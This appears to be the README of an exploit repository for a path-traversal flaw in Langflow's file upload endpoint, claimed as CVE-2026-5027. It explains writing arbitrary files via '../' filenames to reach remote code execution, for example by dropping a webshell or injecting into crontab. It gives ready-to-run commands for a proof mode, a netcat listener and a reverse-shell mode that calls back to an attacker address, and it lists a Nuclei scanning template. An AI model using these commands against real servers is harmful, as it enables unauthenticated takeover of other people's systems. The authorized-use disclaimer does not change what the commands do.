
CVE-2026-5027
Arbitrary File Write to RCE
Unauthenticated Remote Code Execution via File Upload
Langflow suffers from a critical path traversal vulnerability in the file upload endpoint (POST /api/v2/files).
An attacker can send a malicious filename containing ../ sequences to write arbitrary files anywhere on the server filesystem.
This easily leads to full Remote Code Execution (RCE) — for example by dropping a webshell or injecting into crontab.
/tmp)python3 CVE-2026-5027.py -t http://target:7860/ --proof
Expected output if vulnerable:
[+] Success! File written: ../../../tmp/CVE-2026-5027-proof.txt
# Start listener
nc -lvnp 4444
# Run exploit
python3 CVE-2026-5027.py -t http://target:7860/ --lhost YOUR_IP --lport 4444
| File | Description |
|---|---|
CVE-2026-5027.py | Main Python Exploit (PoC + RCE) |
CVE-2026-5027.yaml | Nuclei Template for scanning |
README.md | This file |
Proof Mode
python3 CVE-2026-5027.py -t http://target.com/ --proof
Reverse Shell Mode
python3 CVE-2026-5027.py -t http://target.com/ --lhost 192.168.1.100 --lport 4444
This repository is for educational and authorized security testing purposes only.
Use responsibly and only on systems you have explicit permission to test.
Made with ❤️ for the red team community